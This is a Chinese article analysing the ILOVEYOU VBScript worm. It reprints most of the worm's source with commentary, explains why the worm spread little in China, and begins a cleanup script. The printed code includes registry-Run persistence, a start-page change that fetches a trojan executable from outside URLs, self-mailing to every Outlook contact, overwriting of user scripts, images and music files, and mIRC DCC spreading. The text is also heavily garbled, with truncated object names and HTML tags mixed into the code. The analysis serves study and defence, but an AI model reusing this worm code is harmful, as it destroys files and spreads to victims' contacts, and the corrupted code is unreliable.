admin 管理员组

文章数量: 1086019


2024年5月17日发(作者:jconsole jvisualvm)

“爱虫(I Loveyou)”病毒代码解析和杀毒方法

中国代码联盟 黄冬 李文武

近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国

内却没有出现

什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至

死。究其原因

是什么?而“我爱你” 病毒到底是什么?难道说是我国的计算机防

毒水平和计算

机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的

原因就明白其中

的道理了。另:笔者写本文完全是为了学术作用,请不要将此病毒代

码用于破坏之

目的。

首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮

件,它的主题

是“I Love You”(如果细细读读它的程序,这个主题其实可以并不是

I Love

You),在它的信中带有了一个叫“ ”的附件,而这个附

件将是病毒

的根源。下面这段是“我爱你”病毒的所有的源代码,其中加入了我

的注释(大多

数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了

这些函数的说明

,具体实现可以到函数体中去找):

Rem

===========================================================

============

Rem 本文件为病毒样本,供学习之用,原文件中扫描文件进行感染

部分被我注释掉

Rem 请勿将本文件用作破坏之目的。 white (***************)

hd(hd@email.

)

Rem

===========================================================

============

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("stemObject")

set file = xtFile(Fullname,1)

vbscopy=l

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("")

rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows

Scripting

HostSettingsTimeout")

if (rr>=1) then

te

Scripting

HostSettingsTimeout",0,"REG_DWORD"

end if

Set dirwin = cialFolder(0)

Set dirsystem = cialFolder(1)

Set dirtemp = cialFolder(2)

Set c = e(FullName)

"HKEY_CURRENT_USERSoftwareMicrosoftWindows

(dirsystem&"")

(dirwin&"")

(dirsystem&"") '上面三句将自身

复制成三

个文件

regruns() '如果系统为win98,设IE的起始页为四个URL之一,以下

载一个叫

的文件, '并将其设为系统启动时自动执行的程序,

看起来好象

是一个补丁程序

html() '为OUTLOOK用户生成一个含病毒代码的HTML文件

LOVE-LETTER-FOR-YOU.

HTM, '该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,

病毒体被写入文

件, 同时被设成

'系统启动时自动执行

spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文

件的邮件

listadriv() '扫描整个磁盘,将后缀为.vbs, ..vbe的文件换成自身,将后

缀为

.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身,同时删

除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入 '自身,

将后缀为

.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏

文件, '如果发

现有mIRC,将改写,使得mIRC向所有频道里的人发送刚才的

html文件。

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunMSKern

册表中的加载项一些软件可以写入到这里后实现开机运行

el32",dirs

ystem&""

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunService

册表中的加载项一些软件可以写入到这里后实现开机运行

sWin32DLL

",dirwin&""

downread=""

downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet

ExplorerDownload

Directory")

if (downread="") then

downread="c:"

end if

if (fileexist(dirsystem&"")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~young1s/HJKhjnwerhjkxcvytwertnMT

FwetrdsfmhPnjw6587345gvsdf7679njbvYT/"

elseif num = 2 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~angelcat/skladjflfdjghKJnwetryDG

FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/

e"

elseif num = 3 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h

fFEkbopBdQZnmPOhfgER67b3Vbvg/"

elseif num = 4 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt

uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw

237461234iuy

7thjg/WIN-

"

end if

end if

if (fileexist(downread&"")=0) then

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunWIN-BU

注册表中的加载项一些软件可以写入到这里后实现开机运行

GSFIX",dow

nread&""

regcreate

"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStar

tPage",

"about:blan

k"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc =

For Each d in dc

If ype = 2 or ype=3 Then

folderlist(&"")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = der(folderspec)

set fc =

for each f1 in fc

ext=ensionName()

ext=lcase(ext)

s=lcase()

if (ext="vbs") or (ext="vbe") then

set ap=xtFile(,2,true)

vbscopy

elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or

(ext="sct") or

(ext="hta") then

set ap=xtFile(,2,true)

vbscopy

bname=eName()

set cop=e()

(folderspec&""&bname&".vbs")

File()

elseif (ext="jpg") or (ext="jpeg") then

set ap=xtFile(,2,true)

vbscopy

set cop=e()

(&".vbs")

File()

elseif (ext="mp3") or (ext="mp2") then

set mp3=TextFile(&".vbs")

vbscopy

set att=e()

utes=utes+2

end if

if (eq<>folderspec) then

if (s="") or (s="") or (s="") or

(s="") or

(s="") then

set scriptini=TextFile(folderspec&"")

ine "[script]"

ine ";mIRC Script"

ine "; Please dont edit mIRC will

corrupt,if mIRC

will"

ine " WINDOWS will affect and will not run

correctly.

thanks"

ine ";"

ine ";Khaled Mardam-Bey"

ine ";"

ine ";"

ine "n0=on 1:JOIN:#:{"

ine "n1= /if ( $nick == $me ) { halt }"

ine "n2= /.dcc send

$nick"&dirsystem&""

ine "n3=}"

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = der(folderspec)

set sf = ders

for each f1 in sf

'infectfiles()

Rem

===========================================================

====

Rem 注意,上面这行被注释掉了,请千万不要玩火,否则您的文件

将找不回来

Rem

===========================================================

=====

folderlist()

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("")

te regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("")

regget=d(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (ists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (derExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("")

set out=Object("ation")

set mapi=eSpace("MAPI")

for ctrlists=1 to

set a=sLists(ctrlists)

x=1

regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB

"&a)

if (regv="") then

regv=1

end if

if (int()>int(regv)) then

for ctrentries=1 to

malead=sEntries(x)

regad=""

regad=regedit.

RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)

if (regad="") then

set male=Item(0)

(malead)

t = "ILOVEYOU"

= vbcrlf&"kindly check the attached LOVELETTER coming from

me."

(dirsystem&"")

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,

"REG_DWORD"

end if

x=x+1

next

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

else

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="LOVELETTER - </p><p style="text-indent: 2em;font-size:18px;">HTML<?-?TITLE><METANAME=@-@Generator@-@ </p><p style="text-indent: 2em;font-size:18px;">CONTENT=@-@BAROK VBS - </p><p style="text-indent: 2em;font-size:18px;">LOVELETTER@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? </p><p style="text-indent: 2em;font-size:18px;">**************** </p><p style="text-indent: 2em;font-size:18px;">-@GRAMMERSoft </p><p style="text-indent: 2em;font-size:18px;">Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think </p><p style="text-indent: 2em;font-size:18px;">this is </p><p style="text-indent: 2em;font-size:18px;">@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?HEAD><BODY </p><p style="text-indent: 2em;font-size:18px;">ONMOUSEOUT=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ "&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"ONKEYDOWN=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ BGPROPERTIES=@-@fixed@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To </p><p style="text-indent: 2em;font-size:18px;">Enable to read this HTML file<BR>- Please press #-#YES#-# button to </p><p style="text-indent: 2em;font-size:18px;">Enable </p><p style="text-indent: 2em;font-size:18px;">ActiveX<?-?p>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQ</p><p style="text-indent: 2em;font-size:18px;">U </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">EE&g </p><p style="text-indent: 2em;font-size:18px;">t;"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?BODY><?-?HTML>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--?-??-?"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (){var wi=idth;var </p><p style="text-indent: 2em;font-size:18px;">hi=eight;(0,0);To(wi,hi); </p><p style="text-indent: 2em;font-size:18px;">}"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"on error resume next"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=1"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code=" </p><p style="text-indent: 2em;font-size:18px;">dta2="set </p><p style="text-indent: 2em;font-size:18px;">fso=CreateObject(@****************************@-@)"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"set dirsystem=cialFolder(1)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"set wri=TextFile(dirsystem&@-@^-^MSKernel32. </p><p style="text-indent: 2em;font-size:18px;">vbs@-@)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" code4"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if </p><p style="text-indent: 2em;font-size:18px;">then"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"if (=424) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=0"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (aw=1) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"Setregedit=CreateObject(@***************@-@)"&vbcrlf&_</p><p style="text-indent: 2em;font-size:18px;">"te </p><p style="text-indent: 2em;font-size:18px;">@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu</p><p style="text-indent: 2em;font-size:18px;">rrentVersion^ </p><p style="text-indent: 2em;font-size:18px;">-^Run^-^MS </p><p style="text-indent: 2em;font-size:18px;">Kernel32@-@,dirsystem&@-@^-^@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">(ists(dirsystem&@-@^-^@-@)) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>" </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt5=replace(dt4,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt6=replace(dt3,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set c=xtFile(FullName,1) </p><p style="text-indent: 2em;font-size:18px;">lines=Split(l,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;">l1=ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">for n=0 to ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) </p><p style="text-indent: 2em;font-size:18px;">if (l1=n) then </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34) </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">set b=TextFile(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set d=xtFile(dirsystem+"",2) </p><p style="text-indent: 2em;font-size:18px;"> dt5 </p><p style="text-indent: 2em;font-size:18px;"> join(lines,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;"> vbcrlf </p><p style="text-indent: 2em;font-size:18px;"> dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 看完了病毒的全部代码是不是大家不敢相信这三百行的</p><p style="text-indent: 2em;font-size:18px;">VisualBasic语句就把 </p><p style="text-indent: 2em;font-size:18px;">一台“活生生”的计算机搞的“人不像人,鬼不像鬼”。是呀,由于</p><p style="text-indent: 2em;font-size:18px;">现在的脚本语 </p><p style="text-indent: 2em;font-size:18px;">言的流行,以及 Mircrsoft推出的WSH(Windows Script Hosting),更让</p><p style="text-indent: 2em;font-size:18px;">这些脚本 </p><p style="text-indent: 2em;font-size:18px;">语言可以在任何一台计算机上兴风作浪。WSH是一个能让VisualBasic </p><p style="text-indent: 2em;font-size:18px;">Script和 </p><p style="text-indent: 2em;font-size:18px;">JScript脚本能在Windows环境下如命令行的批处理文件(bat文件)</p><p style="text-indent: 2em;font-size:18px;">一样运行的一 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">个服务。 它可以让Script去创建一个Windows里的 COM/OLE对象,</p><p style="text-indent: 2em;font-size:18px;">并去使用这些对 </p><p style="text-indent: 2em;font-size:18px;">象里的方法、属性和事件。在上述程序中有这样一段: set </p><p style="text-indent: 2em;font-size:18px;">regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">它就是调用了这个COM组件来操作注册表,调用</p><p style="text-indent: 2em;font-size:18px;">Outlook. </p><p style="text-indent: 2em;font-size:18px;">Application对像来操作Outlook(由于Outlook Express在最近的几个</p><p style="text-indent: 2em;font-size:18px;">版本中已经 </p><p style="text-indent: 2em;font-size:18px;">越来越像Outlook了,所以对一些版本它也会影响到Outlook Express)。</p><p style="text-indent: 2em;font-size:18px;">调用了 </p><p style="text-indent: 2em;font-size:18px;">MAPI组件来得到地址和发送邮件,在Outlook Express 4.0之后也提供</p><p style="text-indent: 2em;font-size:18px;">了MAPI组件 </p><p style="text-indent: 2em;font-size:18px;">,所以无论你是安装了Outlook或是Outlook Express都会被调用来发</p><p style="text-indent: 2em;font-size:18px;">出大量的邮件 </p><p style="text-indent: 2em;font-size:18px;">。如果你是一名熟悉哪简单的VBA(Visual Basic Application用于 Word</p><p style="text-indent: 2em;font-size:18px;">的宏脚本 </p><p style="text-indent: 2em;font-size:18px;">),哪么这段小程序就一眼看懂了。所以,这么想想,这爱大家的病</p><p style="text-indent: 2em;font-size:18px;">毒原来也与 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Word/Office宏病毒差不多哟。 </p><p style="text-indent: 2em;font-size:18px;"> 所以这么一说,这爱大家的病毒需要有一个好的环境才能生存</p><p style="text-indent: 2em;font-size:18px;">的: </p><p style="text-indent: 2em;font-size:18px;"> .要是Windows 95 SR2以上的操作系统(Windows NT4安装了</p><p style="text-indent: 2em;font-size:18px;">Option Pack4) </p><p style="text-indent: 2em;font-size:18px;"> .要使用Outlook或是高版本的Outlook Express来收信 </p><p style="text-indent: 2em;font-size:18px;"> .要能收到这个带有病毒的Mail </p><p style="text-indent: 2em;font-size:18px;"> 这也就是国内为什么这个病毒没有大量发作的原因了,首先国内</p><p style="text-indent: 2em;font-size:18px;">的Mail几大量 </p><p style="text-indent: 2em;font-size:18px;">使用了Web Mail,而这样的Mail系统没有到达客户的计算机上所以</p><p style="text-indent: 2em;font-size:18px;">也就不可能发作 </p><p style="text-indent: 2em;font-size:18px;">了。再就是国内使用了众多的非Outlook/Outlook Express高版本这样</p><p style="text-indent: 2em;font-size:18px;">的Mail </p><p style="text-indent: 2em;font-size:18px;">Client,所以受害者也少。 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 好了,哪么了解其原理,笔者给大家一个练习的机会,我们“以</p><p style="text-indent: 2em;font-size:18px;">毒攻毒”,用 </p><p style="text-indent: 2em;font-size:18px;">同样的技术来写一段程序,大家可以用这样的程序来攻击“我爱你”。 </p><p style="text-indent: 2em;font-size:18px;">rem I love You virus 清除程序 </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow </p><p style="text-indent: 2em;font-size:18px;">dim logfile </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq="" </p><p style="text-indent: 2em;font-size:18px;">ctr=0 </p><p style="text-indent: 2em;font-size:18px;">Set fso = CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">Set logfile = xtFile(".",8,True) </p><p style="text-indent: 2em;font-size:18px;">ine now </p><p style="text-indent: 2em;font-size:18px;">main() </p><p style="text-indent: 2em;font-size:18px;">sub main() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim wscr,rr </p><p style="text-indent: 2em;font-size:18px;">set wscr=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "Running clean up script. There will be several messages </p><p style="text-indent: 2em;font-size:18px;">along the </p><p style="text-indent: 2em;font-size:18px;">way." </p><p style="text-indent: 2em;font-size:18px;"> "You will get a 'Clean up done.' message when it is </p><p style="text-indent: 2em;font-size:18px;">finished." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout") </p><p style="text-indent: 2em;font-size:18px;">if (rr>=1) then </p><p style="text-indent: 2em;font-size:18px;">te "HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout",0,"REG_DWORD" </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Set dirwin = cialFolder(0) </p><p style="text-indent: 2em;font-size:18px;">Set dirsystem = cialFolder(1) </p><p style="text-indent: 2em;font-size:18px;">Set dirtemp = cialFolder(2) </p><p style="text-indent: 2em;font-size:18px;"> "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">Set c = e(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirwin&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "clean up run-at-boot and IE start page registry entries . </p><p style="text-indent: 2em;font-size:18px;"> .. ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up run-at-boot and IE start page registry </p><p style="text-indent: 2em;font-size:18px;">entries . . ." </p><p style="text-indent: 2em;font-size:18px;">regruns() </p><p style="text-indent: 2em;font-size:18px;"> "delete html file(s) that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete html file(s) that might have been created . . </p><p style="text-indent: 2em;font-size:18px;"> .." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">html() </p><p style="text-indent: 2em;font-size:18px;"> "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;"> "rescan same drive and folder list as original virus to </p><p style="text-indent: 2em;font-size:18px;">detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "rescan same drive and folder list as original virus </p><p style="text-indent: 2em;font-size:18px;">to detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">listadriv() </p><p style="text-indent: 2em;font-size:18px;"> "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">ine "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regruns() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim num,downread </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunMSKern </p><p style="text-indent: 2em;font-size:18px;">el32" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunService </p><p style="text-indent: 2em;font-size:18px;">sWin32DLL </p><p style="text-indent: 2em;font-size:18px;">" </p><p style="text-indent: 2em;font-size:18px;">downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet </p><p style="text-indent: 2em;font-size:18px;">ExplorerDownload </p><p style="text-indent: 2em;font-size:18px;">Directory") </p><p style="text-indent: 2em;font-size:18px;">regwrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart </p><p style="text-indent: 2em;font-size:18px;">Page","intraweb" </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunWIN-BU </p><p style="text-indent: 2em;font-size:18px;">GSFIX" </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub listadriv </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim d,dc,s </p><p style="text-indent: 2em;font-size:18px;">Set dc = </p><p style="text-indent: 2em;font-size:18px;">For Each d in dc </p><p style="text-indent: 2em;font-size:18px;">If ype = 2 or ype=3 Then </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">ine " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">folderlist(&"") </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Next </p><p style="text-indent: 2em;font-size:18px;">listadriv = s </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub infectfiles(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 </p><p style="text-indent: 2em;font-size:18px;">dim line, ret </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set fc = </p><p style="text-indent: 2em;font-size:18px;">for each f1 in fc </p><p style="text-indent: 2em;font-size:18px;">ext=ensionName() </p><p style="text-indent: 2em;font-size:18px;">ext=lcase(ext) </p><p style="text-indent: 2em;font-size:18px;">s=lcase() </p><p style="text-indent: 2em;font-size:18px;">if (ext="vbs") or (ext="vbe") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> true </p><p style="text-indent: 2em;font-size:18px;"> "moved "&&" to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or </p><p style="text-indent: 2em;font-size:18px;">(ext="sct") or </p><p style="text-indent: 2em;font-size:18px;">(ext="hta") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 